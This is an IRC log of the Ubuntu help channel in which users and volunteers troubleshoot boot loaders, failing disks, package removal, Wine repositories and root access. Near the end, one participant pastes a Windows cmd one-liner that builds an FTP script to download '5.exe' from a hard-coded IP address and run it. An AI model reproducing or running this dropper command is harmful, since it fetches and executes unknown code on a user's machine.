[01:04] <jordanryanmoore> I can't seem to get Ubuntu to resolve the host-to-ip lookups provided by my windows domain/WINS. Any ideas?
[01:04] <stanner> alil234: if i use debug fs i can atleast access the FS
[01:05] <mike1> Dhraakellian: I installed ubuntu then sudo apt-get install kde
[01:05] <boh3m3> I cannot get ubuntu to boot whatsoever. It says Error loading operating system
[01:05] <boh3m3> Can anyone help me?
[01:05] <mike1> mmm
[01:05] <mike1> ok
[01:05] <_Neil> boh3m3: sounds like a disk/mbr issue to me
[01:05] <darksoule> Thank you to those who helped clear that up.
[01:05] <ali1234> stanner: e2fsck will fix everything it can fix, if you use the option. but if your HD is bad (like the one i have here) the errors will just keep coming back
[01:05] <sorcerer> this is using cedega ?
[01:05] <boh3m3> _neil: How can I fix that?
[01:05] <_Neil> Bootloader
[01:05] <kitche> boh3m3: then you didn't install grub or something else
[01:05] <SonicChao> boh3m3? hmm.
[01:05] <SonicChao> Your name sounds familiar.
[01:05] <boh3m3> I'm on youtube
[01:06] <SonicChao> :D I love your videos
[01:06] <rand0m`> Question: Wubi is failing to download the iso , i Went to the site : Saw there are no files hosted in /fiesty/ , so is there a way to just manually download the iso (Which one too?) and then get wubi to use that?
[01:06] <stanner> alil234: it seems to be one bad block though. Is there anyway to just like kill off the block?
[01:06] <Flannel> sorcerer: within cedega, pretend youre completely in windows.  Also, you could always just... delete the directory the ame is in, as well as whatever residual files
[01:06] <Dhraakellian> mike1: it's more a question of whether the DVD has both on it
[01:06] <rand0m`> Sorry for the newbie question :)
[01:06] <boh3m3> Anyhow, Kitche: I'm pretty sure it installed automatically
[01:06] <boh3m3> SonicChao: thanks man
[01:06] <ali1234> stanner: format and do a bad block check
[01:06] <ali1234> stanner: see man mke2fs
[01:06] <stanner> alil234: i need the data onn it
[01:06] <kerik> anybody in here who can tell me how I see which driver my video card is using?
[01:06] <kerik> (in dapper)
[01:06] <ali1234> stanner: so copy it *all* off, format and then copy it all back (and pray)
[01:06] <stanner> alil234: and dont have the space to do a full byte coppy
[01:07] <acojlo> anyone had problem with hald in D state and philips cdrom?
[01:07] <SonicChao> !java
[01:07] <stanner> alil234: Its a 400GB drive and my next biggist is 250
[01:07] <ubotu> To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository. Enable the backports repository on Edgy to install sun-java6-jre
[01:07] <kitche> kerik: look at /etc/X11/xorg.conf or glxinfo
[01:07] <ali1234> stanner: then get a stack of blank CDs and spend a couple days burning it all
[01:07] <boh3m3> So can someone please tell me how to resolve my boot problems?
[01:07] <boh3m3> I'm wigging out ever so slightly
[01:08] <stanner> tand0m`: wait 2 more days and the stable Feisty should be out
[01:08] <apollo2011> I am having trouble with the nvidia-glx driver. I have an NVIDIA GeForce3 Ti 200 graphics card, and X successfully loads with the nvidia-glx package (version 9631) but the colors are off. I have tried the gamma settings but I cannot get anything to repair this problem, The nv driver works fine and the nvidia-glx driver used to work fine with my card.
[01:08] <kitche> !grub | boh3m3 try to reinstall grub
[01:08] <stanner> boh3m3: is there anything on the system you need?
[01:08] <ubotu> boh3m3 try to reinstall grub: grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto
[01:08] <SonicChao> boh3m3, is it a new install?
[01:08] <rand0m`> stanner thanks :)
[01:08] <boh3m3> SonicChao: yes it is
[01:08] <cached> yeah
[01:08] <cached> it didn't work
[01:08] <cached> :(
[01:09] <boh3m3> Stanner: I completely formatted my system hard drive, since nothing would boot
[01:09] <boh3m3> I figured it was all lost
[01:09] <stanner> alil234: lol i would do that but i cant access the data without using debugfs
[01:09] <kitche> boh3m3: if you completely formatted your system then no wonder why it says no operating system found
[01:09] <SonicChao> How far does it go? Do you select 'Ubuntu' from the grub menu and then it just says "error loading OS"?
[01:09] <VampyrCeil> \o/
[01:09] <stanner> alil234: but as far as i have been able to tell i cant use debug fs to copy off just on
[01:09] <cached> i still can't see any text
[01:10] <{uX}l`VampyrCeil> what's usermode e?
[01:10] <boh3m3> kitche: I told it to partition the drive that originally had windows so that it could install ubuntu
[01:10] <kerik> kitche: I figured out that I have a 82830 Intel card...is it possible to update that driver?
[01:10] <SonicChao> kitche: he told me it was a new install :| So I infer he just installed it from the live CD
[01:10] <kerik> (suppose it has a driver already since it can tell me the name...
[01:10] <stanner> boh3m3: what happens after the post screen? does the word grub show up anywhere on the screen?
[01:10] <ali1234> stanner: dunno about that. just fix all the obvious errors using e2fsck, and you should be able to mount it ro
[01:11] <acojlo> anyone had problem with hald-addon-storage going into disk sleep state and staying there?
[01:11] <boh3m3> SonicChao: GRUB has not shown up at all. The only way I get anything other than "error, operating system not found" is if I have the live CD in
[01:11] <kitche> kerik: I would stay witht he ubuntu one that they provided you probably won't get much of a gain but I take it's a i810 chipset or is it higher?
[01:11] <overridden> good evening folks
[01:11] <overridden> any one ever used espeak ?
[01:12] <overridden> nice text2speech software, only one big problem
[01:12] <SonicChao> boh3m3, so you also cannot get into XP?
[01:12] <boh3m3> Stanner: Grub doesn't show up at all
[01:12] <ali1234> stanner: man badblocks
[01:12] <boh3m3> SonicChao: nope
[01:12] <SonicChao> (or apple, or whatever you have)
[01:13] <cached> kitche, other guy whose name i forgot: it didn't work. what should i try now
[01:13] <overridden> it has a parameter problem
[01:13] <SonicChao> boh3m3, hmm...I do not really know too much about GRUB if it does not show up ;) someone else may be able to help you. sorry I can not
[01:13] <stanner> boh3m3: check your bios and make sure you harddrive is being detected
[01:13] <stanner> alil234: gimme a sec
[01:13] <overridden> almost every parameter is read in a fixed array of maybe 10 chars
[01:13] <boh3m3> Stanner: alright
[01:13] <overridden> now, that not goodlooking code
[01:14] <ali1234> stanner: long story short, e2fsck -cc /dev/hd
[01:14] <boh3m3> stanner: Should I try the tactics on this page too? https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows
[01:14] <Kuprin> Hey people. Ubuntu won't boot with an ACX100 PCMCIA wifi card in the slot. Why, and how can I fix this?
[01:14] <ratshell> Hi all
[01:14] <whtet> how can i check if the system is using NIS or not without checking /etc/yp.conf ?
[01:15] <stanner> boh3m3: did you install ubuntu then install xp on another partition afterwards?
[01:15] <ratshell> Hey anyone know how I could get Ubuntu to add my channel to there list for communitY?
[01:15] <boh3m3> stanner: no, I just installed ubuntu. Windows is no longer on my system
[01:15] <ratshell> I have a channel #ubuntuhelp, and I want to get it added to ubuntu support page. Anyone have a idea
[01:15] <kitche> ratshell: ask in #ubuntu+ops instead of spamming it here
[01:15] <stanner> boh3m3: ok so that guide wont help you
[01:16] <ratshell> I am not sapmming kitche
[01:16] <SonicChao> ratshell, :/ this is an ubuntu help channel.
[01:16] <stanner> boh3m3: first make sure your harddrive is still plugged in and being detected by your biso
[01:16] <sayers> Why can't I write/delete on my USB?
[01:16] <kitche> sayers: you don't have permissions that's why
[01:16] <stanner> boh3m3: *bios
[01:16] <stanner> sayers: did you mount it maullay
[01:16] <ledemente> Hi, how do I remove KDE completely?
[01:16] <sayers> stanner: no
[01:17] <ali1234> sayers: could be remounted ro due to errors also. check mount
[01:17] <Kuprin> sayers: known bug, it's been around since Breezy. It took me a year to fix it and I still don't know quite HOW I fixed it.
[01:17] <boh3m3> stanner: alright. Be back in a minute
[01:17] <overridden> so euhm, I might be talking to thin air, but would some ubuntu-dev correct the package ?
[01:17] <arfee> hey! could anyone help me with Wine?
[01:17] <SonicChao> ledemente, ? Do you have GNOME and then installed kde-desktop?
[01:17] <SonicChao> !wine | arfee
[01:17] <ubotu> arfee: wine is a compatibility layer for running Windows programs on GNU/Linux. See https://help.ubuntu.com/community/Wine for more information.
[01:17] <stanner> saters: what filesystem does it use and what version of ubuntu are you using
[01:17] <SonicChao> oh. wrong factoid D:
[01:17] <Shootfast> arfee: whats the problem?
[01:17] <ledemente> SonicChao: I have gnome, yes, then I install the package "kde".
[01:17] <SonicChao> arfee, try #winehq
[01:18] <PriceChild> overridden, have you filed a bug?
[01:18] <sayers> ali1234: it lets me read tho :S
[01:18] <ledemente> I tried to remove it... but there are all these KDE apps everywhere.
[01:18] <chjunior> to install nvidia drivers, the package is nvidia-glx, right?
[01:18] <SonicChao> ledemente, and now you want to get rid of it?
[01:18] <ledemente> Yes...
[01:18] <overridden> where ?
[01:18] <ali1234> sayers: yes, that's what ro means - read only
[01:18] <Gartral> i take it 7.04 isnt mac compatible?
[01:18] <SonicChao> Tried to remove it how?
[01:18] <overridden> launchpad ?
[01:18] <arfee> well i tried to install it previously without problems but now i did what it said on their website and this came up on synaptic
[01:18] <kitche> chjunior: depends on your card really but yes
[01:18] <ledemente> sudo apt-get remove kde
[01:18] <arfee> E: Type <!DOCTYPE is not known on line 1 in source list /etc/apt/sources.list.d/winehq.list
[01:18] <arfee> E: The list of sources could not be read.
[01:18] <arfee> Go to the repository dialogue to correct the problem.
[01:18] <xerebz> hi, how can i remove the need for ubuntu to ask me for my password every time i try to use synaptic or edit admin prefs
[01:18] <adam> does anyone know of a good alternative to firefox for gnome?
[01:18] <sayers> ali1234: Last time I was on Ubuntu I didn't have this problem.
[01:18] <sldkjf> how do I stop totem from being the default player and opening when loading a dvd, and how do I stop vlc from crashing?  being the default player and
[01:19] <stanner> alil234: e2fsch -cc produces the same errors
[01:19] <SonicChao> ledemente, ah, that will not remove the apps.
[01:19] <ledemente> adam: epiphany comes to mine, though I don't use it.
[01:19] <Shootfast> arfee: what exactly did you type into your sources.list?
[01:19] <WMcL> xerebz: that's part of linux' securitiy concept....
[01:19] <arfee> hang on
[01:19] <ledemente> SonicChao: Oh... how would I then?
[01:19] <ali1234> stanner: just leave it going. eventually it will finish
[01:19] <kitche> adam: maybe seamonkey but since firefox doesn't depend on anything kde or gnome related why change :)
[01:19] <chump2> hey i got a problem to login on my cisco academie account with firefox .. i think it's a problem of java script coz i got stock on a .jsp .... can someone help ?
[01:19] <SonicChao> ledemente, Manually :c
[01:19] <stanner> alil234: but atleast now that i moved tyhe drive internal, im now able to mount it
[01:19] <duelboot> xerebz, I can tell you, but you must really want to do this
[01:19] <arfee> sudo wget http://wine.budgetdedicated.com/apt/sources.list.d/edgy.list -O /etc/apt/sources.list.d/winehq.list
[01:19] <ledemente> :O
[01:19] <The_Jack_of_Club> hellowrrrrrrrs
[01:20] <SonicChao> sudo apt-get uninstall listkdeappshere
[01:20] <Shootfast> arfee: just leave off the sudo :P
[01:20] <ali1234> stanner: might take a day or so on a 400GB if there's a lot of errors
[01:20] <duelboot> xerebz, check PM
[01:20] <Shootfast> arfee: oh wait, did you enter that into command prompt?
[01:20] <ledemente> sudo apt-get uninstall listkdeappshere -- what will this do?
[01:20] <arfee> yes
[01:20] <Shootfast> arfee: theres an easier way, just open synaptic
[01:20] <arfee> ok?
[01:20] <SonicChao> You need to list the KDE apps here
[01:20] <SonicChao> :P
[01:20] <Shootfast> arfee: click repositories
[01:20] <SonicChao> I do not know which ones you have installed.
[01:20] <stanner> alil234: http://paste.ubuntu-nl.org/16183/
[01:21] <arfee> ok
[01:21] <SonicChao> An example is sudo apt-get uninstall amarok konqueror
[01:21] <barbarella_me> ledemente:nothing
[01:21] <ledemente> : )
[01:21] <SonicChao> ledemente, do you understand what I mean now? :)
[01:21] <Shootfast> arfee: which distro are you running?
[01:21] <arfee> 6.10
[01:21] <arfee> ubuntu
[01:21] <sn0w> anyone in here use screenletsd with the widget layer in compiz?
[01:22] <ledemente> Yeah... but there are hundreds and hundreds of apps.
[01:22] <duelboot> xerebz, you still here?
[01:22] <xerebz> yea
[01:22] <arfee> well...edubuntu
[01:22] <ali1234> stanner: and, you can mount it now?
[01:22] <SonicChao> Not really. You could keep some. Some KDE apps aren that bad.
[01:22] <duelboot> check your pm xerebz -- to respond you must register your nic
[01:22] <SonicChao> Just uninstall the ones you do not want.
[01:22] <ledemente> I wish to remove all of them.
[01:22] <stanner> alil234: only manually
[01:23] <SonicChao> ledemente, I think I remember a list somewhere.
[01:23] <Shootfast> arfee: hmm, thats odd, you entered the correct command
[01:23] <SonicChao> -goes to locate it-
[01:23] <samk> I just installed python and wrote a program but how do I run the script?
[01:23] <Shootfast> arfee: in synaptic can you see your list of repositories
[01:23] <PriceChild> samk, python /path/to/file.py
[01:23] <Shootfast> arfee: in synaptic can you see your list of repositories?
[01:23] <adam> ledemente: i'm messing around with epiphany right now, just thought i would ask
[01:23] <stanner> alil234: this drive used to be in a usb external and i was pretty sure that the crap chipset was causing data errors
[01:23] <arfee> yes
[01:23] <xerebz> i do the /msg nickserve register <password> and nothing happens?
[01:23] <ardchoille> samk: python script.py
[01:23] <Shootfast> arfee: is wine in that list?
[01:23] <PriceChild> xerebz, look in the server tab
[01:23] <kitche> xerebz: nickserv not nickserve
[01:23] <samk> do I write that in the terminal
[01:24] <stanner> alil234: so i finally got around to moving it into my case and at first it was telling me about some bad magic number
[01:24] <adam> kitche: just seeing what alternatives are out there and i run gnome
[01:24] <xerebz> oh rofl
[01:24] <onexused> Can someone help me with installing Ubuntu on my Mac?  Every time I boot any CD (yellow dog 4, ubuntu 5.10 for PPC, Fedora Core 5 for PPC) I get a "boot:" prompt instead of it booting.
[01:24] <ali1234> stanner: possibly. it could have corrupted the FS i suppose. a bad block check should print out a count of each block it's testing. it should have taken longer than this.
[01:24] <arfee> there seems to be the official one and a dutch one?!
[01:24] <ardchoille> xerebz: your mick was registered about one minute ago
[01:24] <SonicChao> ledemente, I found what you need. First, I have an important question. Did you use aptitude or apt-get when you installed 'kde'
[01:24] <stanner> alil234: but now its back to the old problem
[01:24] <ledemente> apt-get
[01:24] <arfee> http://wine.lowvoice.nl
[01:24] <Shootfast> arfee: perhaps remove the dutch one :P
[01:24] <Flannel> onexused: 5.10?  Suggest you try a newer version, since 5.10 isnt even supported anymore (thats how old it is)
[01:24] <ledemente> cd #debian
[01:24] <xerebz> so i'm set?
[01:24] <SonicChao> ledemente, :( ok. That means you get the long command :P
[01:24] <ledemente> Oops
[01:24] <chump2> well nevermind guy i did found something afterall ;) but thank anyway
[01:25] <ledemente> Oh okay.
[01:25] <ledemente> well that's fine.
[01:25] <kitche> onexused: umm your suppose to get a boot: prompt you press enter on it
[01:25] <SonicChao> http://www.psychocats.net/ubuntu/puregnome
[01:25] <stanner> alil234: The thing about the filesystem is it use to be Fat32 and i used to get filesystem errors so i got fed up and switched it to ext3
[01:25] <SonicChao> I won't paste the whole thing here.
[01:25] <Gartral> is there a MAC based 7.04 ?
[01:25] <arfee> i did that and clicked reload and now it tells me it cant load repositories indexes
[01:25] <onexused> Flannel: I got the CD a while ago, I don't have a newer version for ppc, so I just thought I'd try it
[01:25] <Nexus> hi
[01:25] <ardchoille> Gartral: Woldn't that be PPC?
[01:25] <onexused> ktiche: I get another boot: prompt
[01:26] <overridden> and to think its a codec dude
[01:26] <Agrajag> ardchoille: depends on how old the mac is
[01:26] <ali1234> stanner: also you should know that some usb ide chipsets lie about the drive size. it's possible to make a partition bigger than the drive. that can really ruin your day
[01:26] <babo> I have tapping disabled on my Touchpad gnome widget, yet I can tap fine with my touchpad :-(. It's causing GUI errors ...
[01:26] <Shootfast> arfee: what is the address for the other wine repo?
[01:26] <babo> what's the name of the commandline touchpad tool again ?
[01:26] <babo> syclient or something like that ?
[01:26] <Gartral> whatever, i just didnt see them it the sipit sections of ubuntus or kubuntus site
[01:26] <arfee> which? the unoffical one?
[01:26] <stanner> well its def not that cause my drive is "400GB" but then it only shows up as 372 gb
[01:26] <boh3m3> stanner: no luck
[01:26] <nickreynolds> how i run programs as root in gnome
[01:26] <ledemente> SonicChao: Oh... I just tired "sudp apt-get remove kde" again - it's telling me it's removing all the KDE apps!
[01:27] <samk> thanks
[01:27] <samk> sudo
[01:27] <boh3m3> It's recognized but I don't get grub at al
[01:27] <stanner> alil234: im going to try to use badblocks
[01:27] <SonicChao> ledemente, lol.
[01:27] <SonicChao> Funny how simple solutions solve hard problems, ain't it?
[01:27] <Shootfast> arfee: remove both, and we'll add them again
[01:27] <samk> sudo
[01:27] <ledemente> SonicChao: funny and useful. : )
[01:27] <mstrzele> hi all, what's the preffered way in Ubuntu to run iptables on startup? making bash script or iptables-save/restore in /etc/network/interfaces?
[01:27] <nickreynolds> anyone know how to run programs as root in gnome
[01:27] <ali1234> stanner: it only overreports the size by a few mb. if you just formatted and didnt remake the partition table, then you wont have this problem
[01:27] <PriceChild> mstrzele, iptables does run as startup as part of the kernel
[01:28] <samk> go to prompt and type sudo then command
[01:28] <arfee> ok i removed them
[01:28] <stanner> boh3m3: you might want to reboot to the cd then install gparted
[01:28] <onexused> stanner: 400GB as hardware mfgs count it IS 372GB as OS's count it
[01:28] <mstrzele> nickreynolds: ALT+F2 and type gksu name_of_the_program
[01:28] <ardchoille> mstrzele: You can use Firestarter and it'll take care of all that.. but it's a gui.
[01:28] <nickreynolds> its not a command though its a X program
[01:28] <Shootfast> arfee: ok, cool. give me a sec
[01:28] <mstrzele> PriceChild: i mean iptables rules
[01:28] <arfee> ok
[01:28] <Agrajag> stanner: that's because your drive manufacturer counts a GB as one billion bytes, and you count it as 2^10000000 or so
[01:28] <stanner> i know
[01:28] <boh3m3> stanner: I AM on the CD. That's the only way I can use my computer at this point
[01:28] <ali1234> geez. does somebody have to point that out every time?
[01:28] <stanner> stanner != dumb
[01:28] <D3b|4n> i need the new theme for drupal of using in ubuntu.com
[01:29] <stanner> lol
[01:29] <nickreynolds> anyone know how to run a gnome program as root] 
[01:29] <Agrajag> ali1234: yes, some people still don't get it. Apparently stanenr does.
[01:29] <stanner> boh3m3: ok open a terminal
[01:29] <PriceChild> nickreynolds, graphical application? "gksudo app"
[01:29] <PriceChild> nickreynolds, be careful :)
[01:29] <boh3m3> ok
[01:29] <nickreynolds> ?
[01:29] <ali1234> well, anyway. if you remake the partition table in one of these drive boxes, then try to full format, you'll hear a nasty clicking sound as the drive tries to seek past the end of the physical disk.
[01:29] <stanner> Agrajag: you "lose" roughly 3% right?
[01:29] <onexused> nickreynolds: sudo <program> should work
[01:29] <nickreynolds> ok gksudo app ? and carefeull
[01:30] <PriceChild> onexused, gksudo for graphical applications
[01:30] <stanner> boh3m3: then run sudo apt-get install gparted
[01:30] <babo> what's the name of the commandline touchpad tool again ?
[01:30] <PriceChild> nickreynolds, be careful you don't break anything :)
[01:30] <D3b|4n> i need the new theme for drupal of using in ubuntu.com
[01:30] <onexused> PriceChild: oh, ok
[01:30] <PriceChild> onexused, in kde its "kdesu"
[01:30] <Shootfast> arfee: have you enabled the multiverse an universe?
[01:30] <p47> when wil be abalible the final version of ubuntu ? I remeamber that it would be aroud this date. isn't it ?
[01:30] <p47> when wil be abalible the final version of ubuntu ? I remeamber that it would be aroud this date. isn't it ?
[01:30] <PriceChild> p47, 19this
[01:30] <PriceChild> h
[01:30] <boh3m3> stanner: gparted is already the newest version.
[01:30] <boh3m3> 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
[01:31] <arfee> yes
[01:31] <The_Jack_of_Club> i see "simpler multimedia" in the list of features... does this mean 7.04 will support playing dvds with out using illegal codecs to play them?
[01:31] <xerebz> hey uh does anyone use hellanzb?
[01:31] <Agrajag> stanner: somewhere around there, but it's not constant
[01:31] <p47> PriceChild: ohhhhhhh... yeah. tomorrow ! :P I'm glad... xD
[01:31] <Agrajag> stanner: the gap gets bigger as the drive does
[01:31] <PriceChild> The_Jack_of_Club, no
[01:31] <stanner> boh3m3: ok then open system>gparted
[01:31] <Agrajag> The_Jack_of_Club: That's not possible
[01:31] <Shootfast> arfee: wine is in the universe
[01:31] <PriceChild> The_Jack_of_Club, but "dodgy" codecs will be easier to install
[01:31] <The_Jack_of_Club> shucks
[01:31] <The_Jack_of_Club> it will be someday
[01:32] <The_Jack_of_Club> perhaps maybe
[01:32] <Agrajag> The_Jack_of_Club: keep dreaming
[01:32] <stanner> boh3m3: ok then open system>Administration> GNOME partition editor*
[01:32] <Agrajag> The_Jack_of_Club: but realistically, I can't see someone being prosecuted for watching a DVD they own on a computer they own
[01:32] <boh3m3> stanner: ok
[01:32] <Shootfast> arfee: are you able to select it and install through synaptic now?
[01:32] <arfee> you know what...it seems this ll started to wrong since a list of repros i got of internet...i think i will just wait till tomorrow for feisty release
[01:32] <arfee> no
[01:32] <xerebz> isn't having free dvd decoders illegal itself?
[01:33] <Shootfast> thats probably what the problem is :P
[01:33] <kitche> xerebz: in the US yes and no depending on what OS you use :)
[01:33] <D3b|4n> i need the new theme for drupal of using in ubuntu.com
[01:33] <arfee> yeah im such a dumbass sometimes lol
[01:33] <Shootfast> its always easiest to keep your default ones and add to them
[01:33] <D3b|4n> i need the new theme for drupal of using in ubuntu.com
[01:33] <Shootfast> do you want a copy of my sources.list?
[01:33] <Agrajag> xerebz: there are several layers there. An MPEG-2 decoder is illegal because the license is owned by the MPEG group, and you need to pay for that. A decrypter for CSS is illegal under the terms of the DMCA in the US.
[01:34] <arfee> oh that would rock!
[01:34] <nickreynolds> ok i'm trying to setup
[01:34] <kitche> !repeat | D3b|4n
[01:34] <ubotu> D3b|4n: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. You can search https://help.ubuntu.com or http://wiki.ubuntu.com while you wait. Also see !patience
[01:34] <nickreynolds> a network gateway
[01:34] <Shootfast> hang on, i'll just upload it
[01:34] <nickreynolds> and i'm new
[01:34] <boh3m3> stanner: what now?
[01:34] <stanner> boh3m3: you see your harddrive
[01:34] <stanner> ?
[01:34] <gibsongirl> Evening All, I was wondering if someone could help me figure out how to get my system to connect to my sound server?
[01:34] <The_Jack_of_Club> ooo its boh3m3... im subscribed to that dudes channel on youtube
[01:34] <nickreynolds> i tried this  http://enterprise.linux.com/enterprise/04/10/04/1611230.shtml?tid=100
[01:34] <stanner> boh3m3: there should be 2 partitions
[01:34] <boh3m3> stanner: yes, I see all three of them
[01:34] <nickreynolds> no help
[01:35] <stanner> boh3m3: ok there are 3 hardfrives?
[01:35] <boh3m3> stanner: yes but I'm looking at the one that ubuntu is installed on
[01:35] <stanner> boh3m3: did you double check that ubuntu installed grub to the harddrive you are trying to boot off of>'
[01:36] <xerebz> how do open source decoders exist then?
[01:36] <boh3m3> stanner: I don't know where to look for that
[01:36] <stanner> boh3m3: baisically, unplugg all the drives that you wont be booting off of, then reinstall
[01:36] <nickreynolds> are dhcp and domain name server services already installed on you ubuntu
[01:36] <stanner> boh3m3: when your dont installing boot to double check everythibng went fine
[01:37] <sldkjf> How do I stop totem from being the default player and opening when loading a dvd, and how do I stop vlc from crashing?  Is there something I'm missing?
[01:37] <stanner> boh3m3: then plugg everything back in and boot up again and everything should be fine. if not check the boot order of your harddrives in your bios
[01:37] <stanner> gtg Candle light vigle on the VT campus
[01:37] <LDZ420> does ubuntu have a bit torrent client?
[01:37] <boh3m3> stanner: but how do I see if grub is installed?
[01:37] <stanner> peace
[01:37] <boh3m3> gah
[01:37] <arfee> bye
[01:37] <nickreynolds> in command line how do i get to the list of packages i can install
[01:37] <blanky> nickreynolds: that's...too many
[01:38] <blanky> nickreynolds: over 5 thousand
[01:38] <HaSH> nickreynolds, apt-cache search packagename
[01:38] <blanky> nickreynolds: instead, search using apt-cache search thepackage | less
[01:38] <nickreynolds> isn't their a apt why of getting things
[01:38] <Shootfast> arfee: ok, go here #Shootfast
[01:38] <HaSH> nickreynolds, apt-get intall package
[01:38] <HaSH> !apt | nickreynolds
[01:38] <blanky> sudo
[01:38] <ubotu> nickreynolds: APT is the Advanced Package Tool, which together with dpkg forms the basic Ubuntu package management toolkit. Short apt-get manual: https://help.ubuntu.com/community/AptGetHowto - Also see !Synaptic (Gnome) or !Adept (KDE)
[01:38] <xerebz> does hellanzb have a gui?
[01:39] <The_Jack_of_Club> is wireless networking less retarded on 7.04? cause the default management sucks. i installed that nmapplet which makes it easier but it doesnt want to run on my older computers
[01:40] <blanky> The_Jack_of_Club: yes it's better, and discuss 7.04 only in #ubuntu+1
[01:40] <blanky> (unless it's gutsy now)
[01:40] <xerebz> is there a way to make a windows-ubuntu home network?
[01:40] <The_Jack_of_Club> heh
[01:40] <blanky> xerebz: samba
[01:40] <blanky> !samba | xerebz
[01:40] <ubotu> xerebz: samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT
[01:41] <Auraya> evenin
[01:41] <Shootfast> Auraya: Morning
[01:42] <Auraya> well I guess you could consider past midnight morning - still feels like evening though :)
[01:42] <sldkjf> my.... look at the people getting their answers tended to..... it's so impressive
[01:42] <Shootfast> Auraya: Its a lovely bright shinning day at 10am here :D
[01:42] <ardchoille> sldkjf: I have run Linux since 2001 and this is the best support channel I have ever seen.
[01:43] <cafuego> blanky: Release is tomorrow, afaik.
[01:43] <Auraya> well you are obviously on the other side of the world to me then! its 00:42 here
[01:43] <cafuego> blanky: So until then you can yell at feisty users ;-)
[01:43] <Shootfast> Auraya: Australia ;D
[01:43] <barbarella_me> Auraya:UK
[01:43] <xerebz> 19:43 here
[01:43] <blanky> cafuego: >=O
[01:43] <lumgwada> can anyone tell me how to reboot a remote server and perform a fsck on reboot?
[01:43] <Auraya> Shootfast Northern Ireland
[01:43] <cafuego> Shootfast: it's not 10am anywhere in Australia, mate <heh>
[01:44] <xerebz> miami, fl
[01:44] <Shootfast> cafuego: Close enough
[01:44] <cafuego> quarter to, tops
[01:44] <sldkjf> ardchoille, yeah, maybe you but I get the impression I don't qualify for a decent OS
[01:44] <Shootfast> cafuego: bah, I only go by whole numbers!
[01:44] <m4st3r> Hi all
[01:44] <Kevin> kitche , its me again
[01:44] <Auron0> After checking the forums and other media sources, I am unable to find help to my problem, I am hoping someone can help me here.
[01:45] <Kevin> is there any way I can reinstall without wiping my home directory
[01:45] <blanky> Kevin: move your /home directory to a seperate partition
[01:45] <kitche> Kevin: depends if /home is on a seperate partition
[01:45] <Shootfast> Kevin: make a new parition from live cd, copy home directory to it
[01:45] <DrNick> Kevin: depends how you've done your partitioning :)
[01:45] <Auraya> seriously Ubuntu does not like my wireless card....
[01:45] <Shootfast> Kevin: then mount it as home
[01:46] <Shootfast> Auron0: Whats the problem?
[01:46] <The_Jack_of_Club> is ubuntu 7.10 going to support zfs? :)
[01:46] <gnomefreak> The_Jack_of_Club: thats 6 months away
[01:46] <Kevin> kitche I did the automatic ubuntu install, as you already know I cannot boot the hd, i moved it back to the other pc, but now I messed up x somehow
[01:46] <Agrajag> I doubt it, unless it gets GPLed
[01:46] <blanky> The_Jack_of_Club: that's gutsy...
[01:46] <The_Jack_of_Club> macs are with leopard though you cant have it as your root directory
[01:46] <blanky> The_Jack_of_Club: and it's not a question for here, ask in ubuntu+1, if they even deal with gutsy
[01:46] <The_Jack_of_Club> yes i know its gusty :P
[01:46] <Auron0> When i go to install ubuntu, it loads up the GUI with the scrolling bar, and after that is done I get a blank screen, but I hear a start-up sound. I left my pc for 10 minutes or so and still had a blank screen
[01:46] <Shootfast> The_Jack_of_Club: same with Solaris, cant have it as root
[01:47] <blanky> The_Jack_of_Club: not trying to be a dick, someone else would have told you if it weren't me
[01:47] <The_Jack_of_Club> which channel is feisty and which is gusty? o_O
[01:47] <Shootfast> Auron0: Can you click ctrl-alt-f1?
[01:47] <kitche> Kevin: sudo dpkg-reconfigure xserver-xorg reconfigure X
[01:47] <Kevin> DrNickI did the automatic ubuntu install, im not sure if it partitioned it the right way
[01:47] <overridden> Auron0, used vga=ask at boot
[01:47] <blanky> The_Jack_of_Club: I don't think there's a gutsy one yet, you might want to check out ubuntuforums.org though
[01:47] <kitche> The_Jack_of_Club: well #ubuntu+1 is for development versions of ubuntu
[01:47] <Auraya> Does anyone know why everytime I get ndiswrapper installed and try and reboot I cant get Ubuntu to start?
[01:47] <The_Jack_of_Club> heh
[01:47] <ardchoille> The_Jack_of_Club: It will be #ubuntu+1 after feisty is released
[01:47] <overridden> -d
[01:47] <gnomefreak> The_Jack_of_Club: #ubuntu+1 is feisty ther eis no gutsy channel yet
[01:47] <cafuego> The_Jack_of_Club: Feisty is #ubuntu+1, The day after tomorrow that will be the Gutsy channel.
[01:47] <The_Jack_of_Club> thats crazyness
[01:47] <blanky> cafuego: what day is it? here it's still tuesday
[01:48] <nickreynolds> do i need to install BIND to run a DNS server off ubunty
[01:48] <blanky> hola p47_ que haces guey
[01:48] <cafuego> blanky: Well into wednesday here
[01:48] <blanky> cafuego: no wonder haha
[01:48] <thread> wow wtf does it mean when feisty boots up from a fresh install and you have a nasty hissing sound
[01:48] <Kevin> kitche did that with almost every way possible, I think it doesnt work because I have the nvidia driver installed, I do not have that card anymore
[01:48] <kitche> nickreynolds: yes since bind is the dns server
[01:48] <thread> and the actual output is really quiet
[01:48] <thread> like a loose connection, but not
[01:48] <nickreynolds> is it preinst
[01:48] <kitche> nickreynolds: or should I say named
[01:48] <nickreynolds> alle
[01:48] <Auron0> I can try to do ctrl+alt+f1
[01:48] <thread> it's fine until a moment during the boot-up process... and the hissing starts
[01:48] <nickreynolds> is it preinstalled
[01:48] <kitche> Kevin: umm remove nvidia from your xorg.conf
[01:48] <Auron0> When should i do it?
[01:48] <Shootfast> Auron0: are you talking through the live cd
[01:48] <mattman218> hey, anybody know where my installed programs went?
[01:48] <kitche> nickreynolds: nope
[01:48] <thread> rear channels don't work either. (this is a sblive)
[01:48] <nickreynolds> oot%\system32\cmd.exe
[01:48] <nickreynolds> cmd /c echo open 201.215.98.178 27265 >> ik &echo user x y >> ik &echo get 5.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &5.exe &exit
[01:49] <Auron0> I have burnt the install to a CD
[01:49] <Auron0> if thats what you mean
